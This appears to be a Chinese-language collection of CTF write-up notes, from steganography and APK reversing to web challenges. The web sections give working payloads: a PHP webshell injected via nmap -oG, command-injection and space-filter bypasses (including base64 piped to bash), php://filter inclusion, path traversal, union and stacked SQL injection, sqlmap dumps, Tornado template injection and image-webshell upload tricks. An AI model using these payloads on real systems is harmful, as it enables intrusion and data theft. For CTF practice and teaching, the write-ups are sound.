将PDF文件拖入Linux系统中打开,flag隐写在图片上
使用“与佛论禅”翻译器进行解密,句首+“佛曰:”,得到解密后的密文,根据标题“十三”,将密文通过rot-13解密后,再通过base64解密,得到flag
将pcapng文件拖到kaliLinux中,通过foremost工具打开,得到一个压缩包,压缩包内有名为flag.txt加密文件,需要获取密码,再通过 wireshake软件打开pcapng文件,通过搜索字节流flag.txt字符串,在第1150个数据包中发现大量16进制字符串,并发现有FFD8开头,确定其中包含有JPEG文件,将字符串FFD8开头FFD9结尾复制到winhex中,以ASCII Hex格式粘贴,导出后修改文件后缀.jpg,得到密码,打开FLAG.TXT,得到最终flag。
查看备份文件的方法:在文件后添加后缀.bak或~,添加到url后
xff 是http的拓展头部,作用是使Web服务器获取访问用户的IP真实地址 (可伪造)。由于很多用户通过代理服务器进行访问,服务器只能获取代理服务器的IP地址,而xff的作用在于记录用户的真实IP。通常可以直接通过修改http头中的X-Forwarded-For字段来仿造请求的最终ip。
referer 是http的拓展头部,作用是记录当前请求页面的来源页面的地址。 服务器使用referer确认访问来源,如果referer内容不符合要求,服务器可以拦截或者重定向请求。
通过burp suite抓包,伪造http头部,将请求发送到重发器中,通过伪造X-Forwarded-For:123.123.123.123,重发,看到提示请求必须来自https://www.google.com,再伪造Referer头部内容Referer:https://www.google.com,得到Flag。
http的两种请求方式是get和post ,get的请求方式是通过在网址后面加上“?a=1&b=2”,例如:攻防世界,post传参的话通过hackbug
模拟器加载后,通过android反编译工具-jadx反编译apk文件,查找关键字符串“验证失败”,定位到相关函数CheckString,将资源文件导出,再通过IDA软件打开so文件,按F5转代码,发现输入框内容要与f72c5a36569418a20907b55be5bf95ad对比,他是通过将字符串两两交换,再对半头尾互换
1.将f7 2c 5a 36 56 94 18 a2 09 07 b5 5b e5 bf 95 ad两两交换得到7f c2 a5 63 65 49 81 2a 90 70 5b b5 5e fb 59 da
2.将7fc2a5636549812a 90705bb55efb59da从中间砍断,头尾互换得到90705bb55efb59da 7fc2a5636549812a
通过题目easyso脚本.py运行,得到flag
————————————————
版权声明:本文为CSDN博主「愚公搬代码」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:【愚公系列】2021年12月 攻防世界-简单题-MOBILE-001(easy-so)_愚公搬代码的博客-CSDN博客
同样先通过模拟器打开apk文件,发现一样的结果“验证失败!”,接着jadx反编译apk文件,查找关键字,找到关键函数,发现还是通过比对字符串,5rFf7E2K6rqN7Hpiyush7E6S5fJg6rsi5NBf6NGT5rs=,确定是base64,找到Base64New函数,发现是自建库,需要特定的解密脚本,自建项目,找到万能C++代码,进行破解,运行“android-apk解题”,得到flag。
https://www.52pojie.cn/thread-1623325-1-1.html
———常用文件头———
JPEG (jpg),文件头:FFD8FFE1
PNG (png),文件头:89504E47 (0D0A1A0A)GIF (gif),文件头:47494638ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221XML (xml),文件头:3C3F786D6CMPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3AVI (avi),文件头:41564920
———不常用———
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Postscript (eps.or.ps),文件头:252150532D41646F6265
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
Wave (wav),文件头:57415645
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
MIDI (mid),文件头:4D546864
下载文件,打开后是镜像反转的Flag,打开画图,旋转-水平旋转。
下载后得到压缩包,解压,得到一个没有文件后缀的文件,通过winhex打开后,发现提示“sound.mav”,可能还是一个压缩包文件,更改后缀为rar,再次解压得到音频文件sound.wav,通过Audacity软件打开后,选择频谱图展示
得到flag:e5353bb7b57578bd4da1c898a8e2d767
下载附件后,通过Stegsolve打开图片,在BLUE的0图层可以看到Flag
flag{true_steganographers_doesnt_need_any_tools}
下载附件,得到一个压缩包,解压需要密码
但可以看到压缩包内包含一个文件夹以及一个word文档和fun压缩包,fun压缩包内还包含一个WAV文件。可以猜想最终的flag是包含在这个音频文件中。
通过Winhex打开,发现是伪加密。
一个zip文件由三部分组成:压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志。
1.压缩源文件数据区:
50 4B 03 04:这是头文件标记 (0x04034b50)
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(判断有无加密)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
2.压缩源文件目录区:
50 4B 01 02:目录中文件文件头标记 (0x02014b50)
1F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(判断是否为伪加密)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
3.压缩源文件目录结束标志:
50 4B 05 06:目录结束标记
00 00:当前磁盘编号
00 00:目录区开始磁盘编号
01 00:本磁盘上纪录总数
01 00:目录区中纪录总数
59 00 00 00:目录区尺寸大小
3E 00 00 00:目录区对第一张磁盘的偏移量
00 00:ZIP 文件注释长度
全局方式位标记的四个数字中只有第二个数字对其有影响,其它的不管为何值,都不影响它的加密属性,即:
第二个数字为奇数时 –>加密
第二个数字为偶数时 –>未加密
————————————————
版权声明:本文为CSDN博主「xiaozhaidada」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:CTF——zip伪加密_xiaozhaidada的博客-CSDN博客_zip伪加密
先删除fun.zip后,破解伪加密。
通过ZipCenOp.jar进行破解:java -jar ZipCenOp.jar r miss_01.zip。得到word文件,打开
waoootu.epj,nv o
www.verymuch.net
是希尔加密
得到密钥love and peaceee,对word内容进行rabbit解密,
(rabbit是一种非对称加密,类似于base64编码,增加了解密密钥)
得到的字符串再通过base32解码,
再进行Unicode解码,
再与佛论禅,新佛曰解码:
得到最终密码:Live beautifully, dream passionately, love completely.
解压fun.zip,得到音频文件,通过Audicty打开,查看频谱图
flag{m1sc_1s_funny2333}
(这题好像洋葱。。。。)
首先密文中有英文大写和小写就是base64,只有大写和数字的就是base32,只有数字英文大写A-F那就是16
下载附件,是一个压缩包,解压后得到一个没有文件后缀的文件misc100,通过winhex打开后,发现是50 4B开头,于是添加.zip压缩文件后缀,进行解压,发现需要密码,winhex中并没有伪加密,说明需要我们进行暴力破解。掏出ARCHPR,直接暴力破解
附件解压后,得到一个无后缀的文件,用winhex打开,右边显示“pic2.jpg”
将该文件后缀改为.zip,再解压一次,得到两张一样的jpg图片
用stegsolve先打开pic1.jpg,再点击“Analyse --> Image Combiner”
NMAP中使用-0G命令可以实现代码写入
是一个NMAP扫描网站,随便输入一个IP
可以看到这里返回了nmap扫描的结果,这里我们就想到了NMAP里的-oG命令实现代码的写入,那我们这里就可以尝试构造payload,来利用‘拼接,写入我们想要的shell文件
nmap其他写文件命令:
-oN (标准输出)
-oX (XML输出)
-oS (ScRipT KIdd|3 oUTpuT)
-oG (Grep输出)
-oA (输出至所有格式)
选项-oG
将结果Grep保存。
nmap -F -oG test.txt 192.168.23.1
选项-oA
该选项可将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中。
nmap -F -oA test 192.168.3.2
尝试写入 webshell
127.0.0.1 | -oG hack.php
发现会对 php 过滤, 利用=来代替 缀:
127.0.0.1 | = @eval($_POST["hack"]);?> -oG hack.phtml
这块发现 php 语句的符号, 被转义了,
本地测试发现是’单引号的问题, 可以进行单引号和空格绕过,重新写入
127.0.0.1 |' = @eval($_POST["hack"]);?> -oG hack.phtml ' 或者
qq' = @eval($_POST["hack"]);?> -oG 4.phtml '
发现 PHP 语句被解析, 使用 webshell 管理工具, 进行连接, 通过在/目录, 发现 flag 文件
看到ping命令就可以利用截断来执行新的命令。
首先测试所有的截断符号:
‘$’
‘;’
‘|’
‘-’
‘(’
‘)’
‘反引号’
‘||’
‘&&’
‘&’
‘}’
‘{’
'%0a’可以当作空格来用;
利用截断符号配合普通命令简单问题基本就出来;
例如:ip=127.0.0.1;cat /home/flag.txt
简单的flag就出来了,也可以配合其他的进行。
“;”分号用法
方式:command1 ; command2
用;号隔开每个命令, 每个命令按照从左到右的顺序执行, 彼此之间不关心是否失败, 所有命令都会执行。
“| ”管道符用法
上一条命令的输出,作为下一条命令参数。
CTF里面:ping 127.0.0.1 | ls(只执行ls不执行前面的)
方式:command1 | command
Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。
连续使用管道意味着第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。
利用一个管道:
rpm -qa|grep licq
这条命令使用一个管道符“|”建立了一个管道。管道将rpm -qa命令的输出(包括系统中所有安装的RPM包)作为grep命令的输入,从而列出带有licq字符的RPM包来。q表示查询query,a 表示all。
利用多个管道:
cat /etc/passwd | grep /bin/bash | wc -l
这条命令使用了两个管道,利用第一个管道将cat命令(显示passwd文件的内容)的输出送给grep命令,grep命令找出含有“/bin /bash”的所有行;第二个管道将grep的输出送给wc命令,wc命令统计出输入中的行数。这个命令的功能在于找出系统中有多少个用户使用bash。
“&”符号用法
ctf中用法 ping 127.0.0.1 & ls(先执行ls后执行ping)
&放在启动参数后面表示设置此进程为后台进程
方式:command1 &
默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作。
对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&'实现这个目的。
“&&”符号用法(与)
ctf中用法 ping 127.0.0.1 && ls(ping命令正确才执行ls 要是ping 1 && ls ls就不会执行)
shell 在执行某个命令的时候,会返回一个返回值,该返回值保存在 shell 变量 $? 中。
当 $? == 0 时,表示执行成功;
当 $? == 1 时(非0的数,返回值在0-255间),表示执行失败。
有时候,下一条命令依赖前一条命令是否执行成功。
如:在成功地执行一条命令之后再执行另一条命令,或者在一条命令执行失败后再执行另一条命令等。
shell 提供了 && 和 || 来实现命令执行控制的功能,shell 将根据 && 或 || 前面命令的返回值来控制其后面命令的执行。
语法格式如下:
command1 && command2 [&& command3 …]
命令之间使用 && 连接,实现逻辑与的功能。
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。
只要有一个命令返回假(命令返回值 $? == 1),后面的命令就不会被执行。
1
2
“||”符号用法(或)
和&&相反 左边为假才执行命令二
语法格式如下:
command1 || command2 [|| command3 …]
命令之间使用 || 连接,实现逻辑或的功能。
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。这和 c 语言中的逻辑或语法功能相同,即实现短路逻辑或操作。
只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。直到返回真的地方停止执行。
举例,ping命令判断存活主机,注意 &>要连起来写
ping -c 1 -w 1 192.168.1.1 &> /dev/null && result=0 ||result=1 if [ "$result" == 0 ];then echo "192.168.1.1 is UP!" else echo "192.168.2.1 is DOWN!" fi
绕过空格的方法
linux下绕过空格
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
例如
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat cat<>flag.txt ca\t fl\ag kg=$'\x20flag.txt'&&cat$kg(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过) windows下绕过空格 type.\flag.txt type,flag.txt echo,123456 通配符绕过 ???在linux里面可以进行代替字母 /???/c?t flag.txt *在linux里面可以进行模糊匹配 cat flag.* *进行模糊匹配php 代替cat的命令 cat:由第一行开始显示内容,并将所有内容输出 tac:从最后一行倒序显示内容,并将所有内容输出 more:根据窗口大小,一页一页的现实文件内容 less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head:只显示头几行 tail:只显示最后几行 nl:类似于cat -n,显示时输出行号 tailf:类似于tail -f sort%20/flag 读文件 dir来查看当前目录文件 Linux花式读取文件内容 注:目标是获取flag.txt的内容 static-sh读取文件: static-sh ./flag.txt paste读取文件: paste ./flag.txt /etc/passwd diff读取文件 : diff ./flag.txt /etc/passwd od读取文件 od -a ./flag.txt bzmore读取文件: bzmore ./flag.txt bzless读取文件: bzless ./flag.txtecho `bzless ./flag.txt` curl读取文件: curl file:///home/coffee/flag 编码绕过 base64: echo YWJjZGU=|base64 -d //打印出来abcde echo Y2F0IGZhbGcucGhw|base64 -d|bash //cat flag.php echo Y2F0IGZhbGcucGhw|base64 -d|sh //cat flag.php hex编码绕过: echo 63617420666c61672e706870 | xxd -r -p|bash //cat flag.ph unicode编码 $(printf “\154\163”) //ls $(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) //cat flag.php 管道符 | 只执行后面的命令 管道符 || 只执行前面的命令 连接符 & 两条命令都执行 空格通过< ${IFS}绕过 ping 192.168.1.1 -c 3 | ipconfig echo "Y2F0 ZmxhZy5waHA=" | base64 -d |bash echo "cat flag.txt"|base64 ip=127.0.0.1;cat /home/flag.txt 在url后添加?ip=127.0.0.1显示页面 http://39.96.192.66:54525/?ip=127.0.0.1 接着查看目录下文件http://39.96.192.66:54525/?ip=127.0.0.1;ls发现没有显示命令 怀疑是过滤,试着双写绕过http://39.96.192.66:54525/?ip=127.0.0.1;llss发现页面index.php 查看根目录下所有文件,http://39.96.192.66:54525/?ip=127.0.0.1;llss / 发现对空格符号有过滤,${IFS}进行跳过http://39.96.192.66:54525/?ip=127.0.0.1;llss${IFS}/ 找到目标文件flag.txt,通过cat命令查看文件内容 39.96.192.66:54525/?ip=127.0.0.1;ccatat${IFS}/fflaglag.txt 得到flag。 构造/?ip=127.0.0.1 /?ip=127.0.0.1|ls 判断目标网站是对空格进行了过滤,我们可以使用一些方法代替空格来起到分割作用 注:%20(space)、%09(tab)、$IFS9 、 9、9、{IFS}$9、 {IFS}、IFS 都可以 $IFS$1 构造?ip=1;cat$IFS$1flag.php回显还是错误,索性查看下源码,构造 发现对flag进行过滤,于是构造拼接/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 查看源码得到flag 文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。 什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程就叫做包含。 有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。 以PHP为例,常用的文件包含函数有以下四种: include(),require(),include_once(),require_once() 区别如下: 打开tips链接,弹出一句话 并且url后面添加了一个参数?=file=flag.php,判断是文件包含漏洞的题目, 接下来我们学习一下伪协议: php:// 访问各个输入/输出流(I/O streams) 在CTF中经常使用的是php://filter和php://input php://filter用于读取页面源码,php://input用于执行php代码。 了解更多或者了解其他伪协议请参考PHP伪协议总结 - SegmentFault 思否 构造payload ?file=php://filter/read=convert.base64-encode/resource=flag.php base64解码获得flag. 查看页面源码 找到关键的一句话 点击链接,打开界面 点击Secret 查看源码也并没有发现答案,抓个包看看 找到隐藏链接secr3t.php,打开链接 提示flag存放在flag.php中,未对filter过滤,构造payload进行查看 secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php base64解码,得到flag。 binwalk -e /tmp/mozilla_kali0/QR_code.png sublime acft新生杯 include 提示找源码,并且题目名称BackupFile,备份文件,于是/index.php.bak 得到源码: 传入key,首先判断key是否为数字或者数字字符。然后对key取整。最后判断key和str是否相等。这里存在弱比较漏洞。 传参key=123 END。 没有任何提示,查看源码, 提示source.php,直接访问http://e7b53743-ea71-49a6-a0d2-93e2bafa75ee.node4.buuoj.cn:81/source.php 进行代码审计 跳过emmm类判断,后面if的三个条件,分别判断 接着checkFile函数分析,首先是whitelist白名单,列出source.php和hint.php两个元素,尝试访问, 告诉我们flag在ffffllllaaaagggg中,继续分析checkFile 可以看到函数代码中有四个if语句 有三个if语句可以返回true,第二个语句直接判断$page,不可用 http://***:***/source.php?file=source.php%253f../../../../../ffffllllaaaagggg 查看源码,发现什么都没有 抓包 对id参数进行注入,返回值为bool猜测为布尔注入 SUBSTR(string,start,count) 取子字符串,从start开始,取count个 ASCII(str) 返回字符串str的最左字符的数值。返回0,如果str为空字符串。返回NULL,如果str为NULL。 ASCII()返回数值是从0到255。 例如: SQL> SELECT ASCII('2'); 返回2的ascii码50 SQL> SELECT ASCII('dx'); 返回d的ascii码100 IF(a,b,c) if判断,如果a满足条件,返回b,否则返回c 例如: SQL> select if(ascii("a")=99,1,2); 返回2 代码审计+POST 主页是三叶草Syclover团队介绍,右上角MENU进入到pay界面,并有 查看源码 找到一段代码,意思要传入参数money和password,password=404&money=100000000;抓包 发现有身份验证,并且传入了cookie,把cookie改为user=1 代码中有一段纯数字判断,利用弱类型字符串替换404加空格 又提示数字太长,这里其实是int strcmp ( string $str1 , string $str2 ) 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0。 所以传入非字符串类型的参数就行了,我们传入的是数组,或者用科学计数法也可以 encodeURIComponent()函数+符号过滤 类似于一个计算器,查看源码发现 Z 注释说, 设置了 waf 并且很安全 定义和用法 encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。 该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。 其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。 实例 在本例中,我们将使用 encodeURIComponent() 对 URI 进行编码: 输出: http%3A%2F%2Fwww.w3school.com.cn http%3A%2F%2Fwww.w3school.com.cn %2Fp%201%2F %2C%2F%3F%3A%40%26%3D%2B%24%23 查看 calc.php 如果存在的化就会拦截 说明网站不让我们传 num 这个变量, 结合代码中说的, 已经设置了 waf, 且安全,说明 waf 对 num 进行拦截,也就是说, waf 不让传 num。 但是我们从代码中看到, 要想获取 flag, 我们必须使用 eval 来 /calc.php? num=phpinfo()/*空格绕过*/+号也能绕过 在尝试执行 system 命令的时候, 因为需要使用单引号、 空格都被过滤 所以只能使用其他方式进行绕过, 我们想读取目录, 只要不存在空格、 单引号就行 这里利用 scandir()列出目录和文件, 在使用 file_get_contents()函数读取文件 /f1agg 过滤“or”双写绕过 首先用万能密码1' or 1=1#失败 发现“or”被过滤,于是用||替换,查看有几个字段,发现需要双写绕过,1' || 1=1 oorrder bbyy 4;#,得知是3个字段, 查库' ununionion seselectlect 1,2,database() #返回库名“geek” 查表1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #两个表 'b4bsql,geekuser' 查列1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #三个列'id,username,password' 查信息1' ununionion seselectlect 1,2,group_concat(id,passwoorrd,username) frofromm geek.b4bsql # Your_password_is_'1i_want_to_play_2077cl4y,2sql_injection_is_so_funsql,3do_you_know_pornhubporn,4github_is_different_from_pornhubgit,5you_found_flag_so_stopStop,6i_told_you_to_stopbadguy,7hack_by_cl4yhacker,8flag{b1e7803b-8795-4e02-b430-dc858366c618}flag' 尝试登陆admin 123 尝试万能密码,1' or 1=1# 123(随便输) password '1ee42d3428a3c5c9abbef612529ceb7d' 尝试MD5解密,结果失败 同时确认可以sql注入,先抓包,再使用sqlmap注入,并确认注入点为username, 将传递内容放入txt文件中 通过注入命令python sqlmap.py -r 1.txt检测,成功后通过注入命令继续 python sqlmap.py -r 1.txt –dbs python sqlmap.py -r 1.txt -D geek –tables python sqlmap.py -r 1.txt -D geek -T l0ve1ysq1 --columns python sqlmap.py -r 1.txt -D geek -T l0ve1ysq1 -C id,username,password –dump 得到flag。 判断字段数; /check.php?username=admin' order by 3%23&password=1 存在 /check.php?username=admin' order by 4%23&password=1 报错 注意:此时是在url中输入的,所以不能用#,而用其url编码%23。 可知共3个字段。用union查询测试注入点(回显点位): /check.php?username=1' union select 1,2,3%23&password=1 回显点位为2和3,得到回显点位为2和3,查询当前数据库名及版本: /check.php?username=1' union select 1,database(),version()%23&password=1 可知当前数据库为geek,开始爆表: /check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1 得到两个表名:geekuser和l0ve1ysq1,接着爆列: /check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1 得到三个列名:id,username,password。爆数据: /check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1 得到 Hello 2! Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{35b30d96-0920-49a9-b375-9688539f8821}' 判断是否存在注入1' or 1=1 #测试,判断可能存在注入 查询字段,1' order by 1 # 发现只有两个字段,到3的时候开始报错, 准备进行回显,发现有过滤条件, 这个时候就要用到“堆叠注入”了,原理很简单,就是通过 ; 号注入多条SQL语句。 先通过show databases爆出数据库。1' ;show databases;# 得到库名"ctftraining","information_schema","mysql","performance_schema","supersqli","test" 准备爆表0'; show tables; # 得到表名"1919810931114514", "words" 我们先尝试爆words表的内容,1'; show columns from words; # 没有需要的内容,继续爆表"1919810931114514",这里学到一个新知识点,表名为数字时,要用反引号包起来查询。 1'; show columns from `1919810931114514`; # 看到“flag”字段,但是没有值,这时想到,获取数据的语句为 select * from ` 1919810931114514 ` 但是在最开始的时候,我们知道,会对select、update、delete、drop、insert、where进行过滤 所以需要对select进行绕过。 知识点 PREPARE name from '[my sql sequece]'; //预定义SQL语句 EXECUTE name; //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句 预定义语句也可以通过变量进行传递: SET @tn = 'hahaha'; //存储表名 SET @sql = concat('select * from ', @tn); //存储SQL语句 PREPARE name from @sql; //预定义SQL语句 EXECUTE name; //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句 本题因为对select进行了过滤,可以直接利用concat函数拆分select,也可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤 char(115,101,108,101,99,116)<----->'select' 对select直接拆分 1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;# 1;PREPARE hacker from concat('select', ' flag from ','F','lag');EXECUTE hacker;# 不使用变量 1';PREPARE sqltest from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE sqltest;# 使用变量 1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE sqltest from @sqli;EXECUTE sqltest;# END。 有话说在前面,这个需要联想到后端代码。。。。 进入题目: 一个输入框,查看源码发现是POST传参, 随便输入,1,1',1' order by 1 #等 发现只有输入1时有回显,说明大部分语句都被过滤了,尝试堆叠注入,1;show databases; 得到数据库后,查询表,1;show tables; 只有Flag一个表,这时候就看最后一步能不能得到flag了,1;show columns from Flag; 不出所料,难为人了,只好去寻找大神的wp寻找解决办法,看了一圈发现,需要猜到后端的源码是这样: select $post['query']||flag from Flag(非要解释的话,在堆叠注入的时候发现结尾加不加#不影响结果,可能就是后面跟或运算的缘故) 要想办法让 ||不是逻辑或运算,官方给的 payload 是1;set sql_mode=PIPES_AS_CONCAT;select 1,拼接一下就是select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag 关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT将 ||视为字符串的连接操作符而非 “或” 运算符 还有就是这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个||相当于是将 select 1 和 select flag from flag 的结果拼接在一起 关于非预期解 : *,1 拼接一下,不难理解 :select *,1||flag from Flag 等同于select * from Flag 题目有三个链接,分别打开查看,获得文件名 /fllllllllllllag 请求链接格式如下,并给出了filehash的计算方法 md5(cookie_secret+md5(filename)) /file?filename=/flag.txt&filehash=b3fa6379671c6369b508913476fba734 但是如何获取cookie_secret?先随便传入一个 md5(filename)=3bf9f6cf685a6dd8defadabfb41a03a1 发现跳转到错误页面,并且msg参数的值会回显到屏幕上: 要正常访问/fllllllllllllag文件的内容,计算出filehash的值,需要先获取cookie_secret。网上的wp传入的是/error?msg={{handler.settings}}会打印出cookie_secret,搜索tornado框架的文档: 在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,此处就是借助handler.settings来进行访问。 handler:构建一个tornado网站,必须包含一个或者多个handler,这些handler是RequestHandler的子类。每个请求都会被映射到handler中进行处理,处理后再将结果返回给客户端。所以,hanlder可以视为客户端请求跟业务服务逻辑间的桥梁。 而RequestHandler.settings又是self.application.settings的别名; 因此handler.settings实际指向RequestHandler.application.settings,在tornado官方文档中搜索可知application.settings中保存了许多关键字参数,其中就包含cookie_secret。 访问/error?msg={{handler.settings}}得到 cookie_secret: bdc212e2-92c6-4e9f-a89c-4f8a515217a3 构建filehash:md5(cookie_secret+md5(filename)) =md5(bdc212e2-92c6-4e9f-a89c-4f8a515217a33bf9f6cf685a6dd8defadabfb41a03a1) /file?filename=/fllllllllllllag&filehash=ccd9259226d66d997cd256d4a36c30a6 MD5绕过,get+post 打开题目,提交查询没有回显,源码也没有任何提示,直接抓包。 发现这么一句Hint: select * from 'admin' where password=md5($pass,true),意思是sql查询,需要password=md5($pass,true)条件为真时,才会执行select * form admin,可md5($pass,true)是什么东西?上网查询了一下 md5()函数会将我们输入的值,加密,然后转换成16字符的二进制格式,由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为'or’6 MD5加密 276F722736C95D99E921722CF9ED621C 16位原始二进制格式 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c string 'or’6]!r,b 之后sql语言就转化为select * from 'admin' where password='or 6,总之参数等于ffifdyop,md5($pass,true)返回TRUE。抓包看一下 界面发生了变化,看一下源码 要传入参数a和b,条件是a和b值不同,但MD5加密后相等,用的是md5弱类型,为0e开头的会被识别为科学记数法,结果均为0。 •QNKCDZO •0e830400451993494058024219903391 •s878926199a •0e545993274517709034328855841020 •s155964671a •0e342768416822451524974117254469 •s214587387a •0e848240448830537924465865611904 •s214587387a •0e848240448830537924465865611904 •s878926199a •0e545993274517709034328855841020 •s1091221200a •0e940624217856561557816327384675 •s1885207154a •0e509367213418206700842008763514 于是构建payload: http://6b8eeea7-31ae-4c3a-a7ec4dd056371915.node4.buuoj.cn:81/levels91.php?a=QNKCDZO&b=s878926199a 再次跳转,文件包涵,需要POST两个参数,MD5强比较,用MD5数组跳过就可以。param1[]=1¶m2[]=2 flag{2fa51612-4d37-4388-976e-15e84568dea3} 过滤php后缀,,只允许上传jpg文件 打开题目 上传文件,尝试一句话木马php文件,png文件,jpg文件只有jpg文件可以上传通过,于是构建jpg图片马: GIF8a 题目还过滤了"" 抓包修改 Content-Disposition: form-data; name="file"; filename="jspshell.phtml" Content-Type: image/jpeg php的后缀名也被过滤,常见的php后缀名绕过方式有 php3 php4 php5 phtml pht 这道题里可以上传phtml 上传图片马 测试上传后,提示过滤只能上传jpg,png,gif文件,需要制作图片马 copy 2.png/b+ma.php/a ma.png burp抓包修改文件后缀 上传成功,回显路径,蚁剑连接 简单的一句话木马连接 一句话木马,直接使用蚁剑链接, 查看根目录,找到flag END。 通过.user.ini进行绕过,首先介绍php.ini文件,php有很多配置,并可以在php.ini中设置。在每个正规的网站里,都会由这样一个文件,而且每次运行PHP文件时,都会去读取这个配置文件,来设置PHP的相关规则。 .user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR、PHP_INI_USER”的设置。 新建一个.user.ini文件,写入:auto_prepend_file=1.png 提示不是image文件, 添加文件头GIF89a 修改文件类型Content-Type: image/png 发现上传成功,构建图片码1.png copy 2.png/b+shell.php/a 1.png 上传图片一句话木码1.jpg 发现对""进行了过滤,于是更换一句话木马: 重新上传图片码,上传成功并返回路径, uploads/c47b21fcf8f0bc8b3920541abd8024fd 进行访问url: 78823e71-ed5a-46d8-b58b-063690c04381.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd /index.php 利用hackbar进行post传参abc=phpinfo(); 显示成功,通过蚁剑建立连接, 到根目录下查找flag 打开题目 尝试上传一句话木马shell.php 正常上传一个图片试试, 显示成功上传,并且存放到了 /var/www/html/upload/b260bd03bc3104e3591a052c9cbb0ac8 路径下,于是考虑抓包修改文件类型。 